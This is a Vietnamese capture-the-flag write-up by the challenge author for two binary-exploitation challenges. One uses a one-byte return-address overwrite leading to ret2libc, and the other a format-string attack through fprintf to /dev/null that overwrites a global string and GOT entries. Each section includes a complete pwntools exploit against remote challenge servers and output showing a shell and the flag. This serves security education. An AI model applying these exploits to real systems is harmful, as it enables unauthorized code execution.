Easter Egg #
Mô tả: People don’t believe me when I say that you can still do a ret2libc with just one-byte overflow. Maybe you can prove them wrong by talking to my easter bunny.
Note: Có ai tin được là tui tính để bài này ra hôm thi onsite không? =)))
Setup #
Đề bài cung cấp cho mình 3 file: chall
, libc.so.6
, ld-2.35.so
. Từ điểm này công với việc đọc sơ qua mô tả của đề thì khả năng cao là phải thực hiện kỹ thuật ret2libc để chiếm shell chương trình và đọc flag.
Chính vì đề cung cấp cho mình các file libc và loader để debug ở local giống với môi trường trên remote thì việc đầu tiên cần phải làm đó chính là link các file này lại với file thử thách. Để tự động hóa việc này thì các bạn có thể sử dụng pwninit.
$ pwninit
bin: ./chall
libc: ./libc.so.6
ld: ./ld-2.35.so
copying ./chall to ./chall_patched
running patchelf on ./chall_patched
writing solve.py stub
$ mv chall_patched chall
$ ls
chall flag.txt ld-2.35.so libc.so.6 solve.py
$ ldd chall
linux-vdso.so.1 (0x00007fff4c8fa000)
libc.so.6 => ./libc.so.6 (0x00007fa15f83e000)
./ld-2.35.so => /lib64/ld-linux-x86-64.so.2 (0x00007fa15fa68000)
Vậy là việc link file challenge và libc đã hoàn thành.
Phân tích source code #
Các bạn có thể sử dụng tùy ý các Decompiler khác nhau để tiến hành việc đọc code của chương trình. Mình thì sử dụng IDA Free vì nó miễn phí và hỗ trợ file ELF 64-bit. Nếu bạn giàu thì có thể dùng bản Pro luôn cho máu.
Thông qua IDA, mình nhận thấy rằng chương trình có 3 hàm chính là main
, find_the_bunny
và to_the_moon
. Pseudocode của hàm main
mà IDA decompile ra được như sau:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
puts("I heard the easter bunny wanna talk to you, but it's no where to be seen.");
puts("Can you find it?");
return find_the_bunny();
}
Ở đây không có gì đặc biệt ngoài việc setup các buffer và sau đó gọi hàm find_the_bunny
. Mình sẽ kiểm tra hàm này tiếp theo.
ssize_t find_the_bunny()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
puts("Due to limited stamina, you can only overwrite 1 byte.");
return read(0, buf, 57uLL);
}
Hàm tạo một buffer 48 byte ở vị trí rbp-0x30
, tức là buffer này cách rbp là 48 byte. Vậy thì nó sẽ cách địa chỉ trả về của hàm find_the_bunny
là 56 byte (tính bằng khoảng cách với rbp + 8). Hàm này cho mình viết lên stack 57 byte cũng chính là chỉ cho phép ghi đè lên byte đầu tiên của địa chỉ trả về.
Ngoài ra thì còn một hàm nữa là to_the_moon
mà không được gọi tới ở bất kỳ chỗ nào trong chương trình. Mình đoán là mục tiêu trước mắt là phải gọi được hàm này. Vậy nên mình sẽ thử xem nó có gì trước đã.
ssize_t to_the_moon()
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
puts("You have found the easter bunny!");
puts("It gave you a lot of stamina potions.");
return read(0, buf, 100uLL);
}
Hàm này cũng tạo một buffer 48 byte ở vị trí rbp-0x30
nhưng lại đọc input đến tận 100 byte, cũng tức là mình có thể overflow stack đủ nhiều để sử dụng kỹ thuật ret2libc mà chiếm shell của chương trình.
Lên kịch bản khai thác #
Như đã phân tích ở trên, hàm to_the_moon
sẽ là target chính nên mình phải bằng cách nào đó gọi được hàm này để khai thác lỗi buffer overflow để áp dụng kỹ thuật ret2libc chiếm shell chương trình.
Hàm find_the_bunny
chỉ cho mình ghi đè lên được byte đầu tiên của địa chỉ trả về, nhưng vì các hàm này đểu thuộc chương trình gốc mà không phải hàm của libc nên trên lý thuyết thì chúng được đặt gần nhau và do đó có thể chỉ cần ghi đè 1 byte thôi cũng đủ để nhảy qua hàm khác được.
Vậy hướng khai thác của mình có thể tóm gọn lại như sau:
- Overflow 1 byte của hàm
find_the_bunny
để nhảy tới hàmto_the_moon
. - Lợi dụng lỗi buffer overflow của hàm
to_the_moon
để ret2libc và chiếm shell chương trình.
Tiến hành debug #
Có khá nhiều plugin cho gdb để việc debug trở nên dễ dàng hơn nhưng đối với người chơi pwn thì thường sử dụng nhất là pwndbg.
Nếu các bạn đã tới được bước này rồi thì đương nhiên sẽ gặp được chướng ngại lớn nhất của đề.
Khi tiến hành debug địa chỉ trả về của find_the_bunny
, mình nhận thấy rằng ở luồng thực thi thông thường chương trình sẽ nhảy về địa chỉ lệnh main+82
tức là tại
0x0000000000401240 <main+82>: jmp 0x401264 <main+118>
Tuy nhiên, địa chỉ bắt đầu của hàm to_the_moon
lại nằm ở 0x401176
, 2 địa chỉ này khác biệt nhau tận 2 byte và do đó, việc ghi đè 1 byte để nhảy từ địa chỉ trả về của hàm find_the_bunny
đến hàm to_the_moon
là bất khả thi.
Nếu các bạn tới được đây và cho rằng hết cách rồi, hoặc đi xin tác giả được ghi đè lên 2 byte thì không nhé. Vì chương trình này còn 1 thứ rất hay mà chỉ khi debug thì mới biết được.
Điểm bất thường của chương trình #
Khi disassemble hàm main
ra thì mình có được đoạn code assembly sau:
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004011ee <+0>: endbr64
0x00000000004011f2 <+4>: push rbp
0x00000000004011f3 <+5>: mov rbp,rsp
0x00000000004011f6 <+8>: mov rax,QWORD PTR [rip+0x2e53] # 0x404050 <stdin@@GLIBC_2.2.5>
0x00000000004011fd <+15>: mov esi,0x0
0x0000000000401202 <+20>: mov rdi,rax
0x0000000000401205 <+23>: call 0x401070 <setbuf@plt>
0x000000000040120a <+28>: mov rax,QWORD PTR [rip+0x2e2f] # 0x404040 <stdout@@GLIBC_2.2.5>
0x0000000000401211 <+35>: mov esi,0x0
0x0000000000401216 <+40>: mov rdi,rax
0x0000000000401219 <+43>: call 0x401070 <setbuf@plt>
0x000000000040121e <+48>: lea rdi,[rip+0xe6b] # 0x402090
0x0000000000401225 <+55>: call 0x401060 <puts@plt>
0x000000000040122a <+60>: lea rdi,[rip+0xea9] # 0x4020da
0x0000000000401231 <+67>: call 0x401060 <puts@plt>
0x0000000000401236 <+72>: mov eax,0x0
0x000000000040123b <+77>: call 0x4011b8 <find_the_bunny>
0x0000000000401240 <+82>: jmp 0x401264 <main+118>
0x0000000000401242 <+84>: lea rdi,[rip+0xea7] # 0x4020f0
0x0000000000401249 <+91>: call 0x401060 <puts@plt>
0x000000000040124e <+96>: xor rdi,rdi
0x0000000000401251 <+99>: mov rsi,rsp
0x0000000000401254 <+102>: add rsi,0x8
0x0000000000401258 <+106>: mov rdx,0x8
0x000000000040125f <+113>: call 0x401080 <read@plt>
0x0000000000401264 <+118>: nop
0x0000000000401265 <+119>: pop rbp
0x0000000000401266 <+120>: ret
End of assembler dump.
Thấy điều gì kỳ lạ không???
Tại main+77
, chương trình tiến hành gọi hàm find_the_bunny
và set địa chỉ trả về tại main+82
. Tuy nhiên, khi đến địa chỉ lệnh tại main+82
chương trình lại nhảy thẳng xuống main+118
tức là khúc mà hàm main kết thúc, hoàn toàn bỏ qua hẳn một đoạn 7 dòng code assembly nằm giữa.
Cũng chính bởi câu lệnh jmp 0x401264 <main+118>
đặc biệt này mà các decompiler đã bị đánh lừa và nghĩ rằng hàm main
sau khi gọi find_the_bunny
sẽ kết thúc. Xin chúc mừng bạn vừa tìm đc Easter Egg của chương trình, cũng chính là tên của đề.
Quay trở lại vấn đề chính, mình có thể đọc thử và đoán xem đoạn này chương trình sẽ làm gì.
Đầu tiên là khúc
0x0000000000401242 <+84>: lea rdi,[rip+0xea7] # 0x4020f0
0x0000000000401249 <+91>: call 0x401060 <puts@plt>
có lẽ chương trình sẽ in ra một string nào đó. Cái này thừa thải nên mình không cần để ý thêm.
Tiếp theo là đoạn còn lại này:
0x000000000040124e <+96>: xor rdi,rdi
0x0000000000401251 <+99>: mov rsi,rsp
0x0000000000401254 <+102>: add rsi,0x8
0x0000000000401258 <+106>: mov rdx,0x8
0x000000000040125f <+113>: call 0x401080 <read@plt>
Khi phân tích kỹ ra thì khúc này chương trình sẽ đọc 8 byte input của mình và lưu nó ở rsp+8
. Mà rsp+8
của hàm main
khi này sẽ là chính địa chỉ trả về của hàm main
luôn.
Vậy tức là nếu mình tới được đoạn này thì sẽ có thể ghi đè lên địa chỉ trả về của main
và từ đó nhảy tới được hàm to_the_moon
. Và điều này hoàn toàn có thể thực hiện được do đoạn code assembly này nằm ngay dưới địa chỉ lệnh mà hàm find_the_bunny
sẽ trở về sau khi kết thúc mà do đó chỉ khác biệt nhau đúng duy nhất 1 byte đầu tiên.
Lên kịch bản khai thác lần 2 #
Vậy hướng khai thác mới sẽ là như sau:
- Overflow 1 byte của hàm
find_the_bunny
để nhảy tới đoạn bị ẩn của hàmmain
tạimain+84
. - Viết đè lên địa chỉ trả về của hàm
main
để nhảy tới hàmto_the_moon
. - Lợi dụng lỗi buffer overflow của hàm
to_the_moon
để ret2libc và chiếm shell chương trình.
Viết script khai thác #
Mình để ý là ai mở ticket để hỏi về bài này cũng đều biết cách khai thác nhưng không thành công do chủ yếu scripting còn hơi lỏ đấy nhá
from pwn import *
context.binary = exe = ELF('./chall')
libc = ELF('./libc.so.6')
#io = process()
#gdb.attach(io, api=True)
io = remote('34.87.54.101', 4204)
pop_rdi = 0x4012d3
# Stage 1: jump to the vulnerable function
payload = b'i'*0x38 + b'\x42'
io.sendafter(b'byte.\n', payload)
io.sendafter(b'more!\n', p64(exe.sym['to_the_moon']))
# Stage 2: leak libc
payload = b'i'*0x38 + p64(pop_rdi) + p64(exe.got['puts']) + p64(exe.plt['puts'])
payload += p64(exe.sym['to_the_moon']) # Back to the vulnerable function to continue exploiting
io.sendafter(b'potions.\n', payload)
libc.address = u64(io.recvline(keepends=False).ljust(8, b'\0')) - libc.sym['puts']
log.info(f'Libc base: {hex(libc.address)}')
# Stage 3: ret2system
payload = b'i'*0x38 + p64(pop_rdi) + p64(libc.search(b"/bin/sh").__next__()) + p64(libc.sym['system'])
io.sendafter(b'potions.\n', payload)
io.interactive()
Chạy script và lấy flag thôi nào
$ python exp.py
[+] Opening connection to 34.87.54.101 on port 4204: Done
[*] Libc base: 0x7f83a8c58000
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
BKISC{0n3_c4n_35c4p3_7h3_3y3s_0f_th3_d3c0mp1l3r_bu7_n0t_7h3_d3bu99er}
You Can’t See Me #
Mô tả: The real magic is things that happen when your eyes can not see.
Setup #
Tương tự như trên, đề cũng cho 3 file: chall
, libc.so.6
, ld-linux-x86-64.so.2
. Mình sẽ link lại chúng trước để tiện cho việc debug sau này hơn.
$ pwninit
bin: ./chall
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2
copying ./chall to ./chall_patched
running patchelf on ./chall_patched
writing solve.py stub
$ mv chall_patched chall
$ ls
chall flag.txt ld-linux-x86-64.so.2 libc.so.6 solve.py
$ ldd chall
linux-vdso.so.1 (0x00007ffd12af3000)
libc.so.6 => ./libc.so.6 (0x00007fefb2b5b000)
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fefb2d85000)
Phân tích source code #
Chương trình chỉ có 2 hàm chính là main
và get_msg
. Như thường lệ thì mình sẽ coi hàm main
trước.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("Wanna see me do a magic trick?");
puts("Give me your message and I'll see what I can do.");
get_msg();
puts("Voila! Your message is now gone. Give me another:");
read(0, buf, 0x64uLL);
return v6 - __readfsqword(0x28u);
}
Dễ dàng nhận thấy rằng ở hàm main bị dính một lỗi buffer overflow nghiêm trọng. Tuy nhiên chương trình đã bật chế độ bảo vệ Canary
nên mình không thể cứ thế mà overwrite được giá trị trên stack. Vậy nên hãy chuyển qua phân tích hàm get_msg
tiếp theo nào.
unsigned __int64 get_msg()
{
FILE *stream; // [rsp+8h] [rbp-D8h]
char s[200]; // [rsp+10h] [rbp-D0h] BYREF
unsigned __int64 v3; // [rsp+D8h] [rbp-8h]
v3 = __readfsqword(0x28u);
stream = fopen("/dev/null", "w");
if ( stream )
{
printf("> ");
fgets(s, 144, stdin);
fprintf(stream, s);
}
printf("Hippity hoppity, now you see me, now you don't. Funni\n");
return v3 - __readfsqword(0x28u);
}
Ở hàm này chương trình đọc vào input của mình nhập vô biến s
sau đó tiến hành gọi hàm fprintf
để in format từ biến s
sang file /dev/null
. Và cũng như tất cả các hàm thuộc họ printf
khác, vì không chỉ định trước format mà in thẳng buffer người dùng nhập vào cho nên hàm này cũng bị dính lỗi format string. Còn hàm printf
kia thì do chỉ in ra 1 string cố định mà có lẽ sẽ không thể bị khai thác được.
Mặc dù fprintf
dính lỗi format string nhưng tất cả output đều đã được đưa vào bên trong file /dev/null
và do đó không thể leak được giá trị trên stack bằng hàm này. Tuy nhiên cũng vì mang lỗi format string mà fprintf
cũng có thể bị khai thác để tiến hành việc ghi đè dữ liệu lên các vùng nhớ khác tương tự như các hàm thuộc họ printf
.
Ngoài ra, thông thường chương trình sẽ lưu các string cố định vào vùng nhớ .rodata (read only data) nhưng khi nhấp chuột vào string bên trong hàm printf
kia thì nó lại dẫn mình đến vùng nhớ .data, tức nó là một biến global? Thậm chí nó còn có tên biến là msg
nữa cơ.
Do vùng nhớ .data có thể được ghi đè lên nên mình có thể thay đổi string này để khi chạy hàm printf
sẽ dính lỗi format string và từ đó leak được giá trị trên stack ra ngoài.
Đối với những người chơi pwn lâu năm thì sẽ dễ nhận ra điều này hơn do tính tối ưu khi compiler của gcc sẽ tự động biến câu lệnh
printf("Hippity hoppity, now you see me, now you don't. Funni\n");
thành
puts("Hippity hoppity, now you see me, now you don't. Funni");
nên không thể nào có chuyện một đoạn code như thế nằm chình ình trong chương trình mà cái string đó lại không phải là biến global được.
Và đương nhiên việc có thể ghi đè lên được string này thì mình có thể tận dụng lỗi của hàm fprintf
ở trước đó để khai thác. Nếu đã tới được đây rồi thì việc khai thác còn lại sẽ rẽ nhiều hướng khác nhau tùy thuộc vào chọn lựa của các bạn thôi.
Lên kịch bản khai thác #
Cho dù hướng đi của các bạn có là gì đi chăng nữa thì đều phải qua được một bước chung nhất đó chính là ghi đè lên biến msg
để leak được giá trị trên stack ra và từ đó có thể khai thác theo nhiều kiểu khác nhau, tiêu biểu như:
-
Dùng
fprintf
để leak giá trị libc bằngprintf
đồng thời ghi đè lên GOT của hàmread
hoặc hàm__stack_chk_fail
thành địa chỉ của hàmmain
để chương trình quay trở về hàmmain
khi trigger 1 trong 2 hàm này. Sau đó lại tiếp tục khai thác hàmfprintf
để ghi đè GOT của hàmprintf
thànhsystem
và ghi đè biếnmsg
thành string “sh” để khi chương trình gọi printf(msg) thì nó sẽ gọi system(“sh”). -
Dùng
fprintf
để leak giá trị libc và canary bằngprintf
sau đó lợi dụng lỗi buffer overflow của hàmmain
khi gọiread
để ghi đè lên stack giá trị canary đúng sau đó tiếp tục overflow xuống dưới để ret2system và chiếm shell. -
Dùng
fprintf
để leak giá trị libc ằngprintf
đồng thời ghi đè lên GOT của hàm__stack_chk_fail
bằng câu lệnhret
để khiến nó trở nên vô dụng sau đó cũng khai thác việc gọiread
ở hàmmain
để ret2system.
Đối với mình thì mình sẽ sử dụng cách đầu tiên nhé.
Tiến hành debug #
Việc debug ở đây cũng không có gì đáng chú ý, chủ yếu là mình đặt breakpoint ở 2 thời điểm lúc gọi fprintf
và printf
để xem buffer của mình ở offset thứ mấy trên stack (cho việc ghi đè bằng hàm fprintf
) cũng như là của các giá trị cần tìm như libc, canary (cho việc leak).
Đầu tiên là dừng tại lúc gọi hàm fprintf
:
Chuỗi mình nhập vào nằm ở index thứ 2 trên stack, do hàm fprintf
nhận vào tối thiểu 2 argument mà index thứ 0 trên stack sẽ bắt đầu ở offset thứ 5 chứ không phải thứ 6 như khi gọi printf
. Qua đó mình biết được input buffer của mình nằm ở offset thứ 7.
Ngoài ra thì nếu các bạn muốn biết khi gọi hàm fprintf
sẽ in cái gì vào /dev/null
thì trong gdb trước khi chương trình gọi hàm này có thể dùng lệnh set $rdi=stdout
để pipe output của hàm vào stdout
thay vì vào /dev/null
.
Tiếp theo mình sẽ dừng tại đoạn gọi printf
:
Các bạn có thể sử dụng lệnh stack <n>
với n là số dòng trên stack muốn xem để có thể quan sát được các giá trị trong stack ở dưới sâu hơn. Dưới đây là kết quả của 30 giá trị trên stack:
Mình nhận thấy rằng có thể leak được giá trị của hàm puts+346
ở index thứ 0x15 (21) trên stack, tức là offset thứ 27 vì đây là hàm printf
. Nếu các bạn muốn leak được thêm canary thì nó nằm ở offset 33 đấy.
Như mọi lần giải các thử thách pwnable thì sau đó là 1 khoảng thời gian cồng kềnh để debug kiểm tra từng bước trong script mình viết đã đúng hay chưa, việc ghi đè có đúng giá trị hay không,… Nhưng chung quy lại thì đến đây là đã xong được 90% rồi, còn lại thì chỉ có viết script thôi.
Viết script khai thác #
Lại 1 lần nữa xin được nhắc nhở người biết cách giải bài này mà toàn bị chặn do script lỏ nhé. Tạo ticket mà thấy 80% là làm được nhưng toàn bị vấn đề scripting.
from pwn import *
context.binary = exe = ELF('./chall')
libc = ELF('./libc.so.6')
script = '''b* get_msg+144
b* main+124
c
'''
# io = process()
# gdb.attach(io, gdbscript=script, api=True)
io = remote('34.124.216.27', 4200)
# make GOT read function call main + leak libc puts+346 by overwriting the msg at printf
payload = fmtstr_payload(7, {exe.got['read']:exe.sym['main'], exe.sym['msg']:b'%27$p'}, write_size='short')
io.sendlineafter(b'> ', payload)
io.recvuntil(b'0x')
libc.address = int(io.recvuntil(b't')[:-1], 16) - (libc.sym['puts']+346)
log.info(f'Libc base: {hex(libc.address)}')
payload = fmtstr_payload(7, {exe.got['printf']:libc.sym['system'], exe.sym['msg']:b'sh\0'}, write_size='short')
io.sendlineafter(b'> ', payload)
io.interactive()
Chạy script rồi lấy flag thôi.
$ python exp.py
[+] Opening connection to 34.124.216.27 on port 4200: Done
[*] Libc base: 0x7feada27e000
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
BKISC{th3_m4g1k_0f_l34kl3s5_f0rm4t_1s_7h4t_y0u_c4n_5t1ll_wr1t3}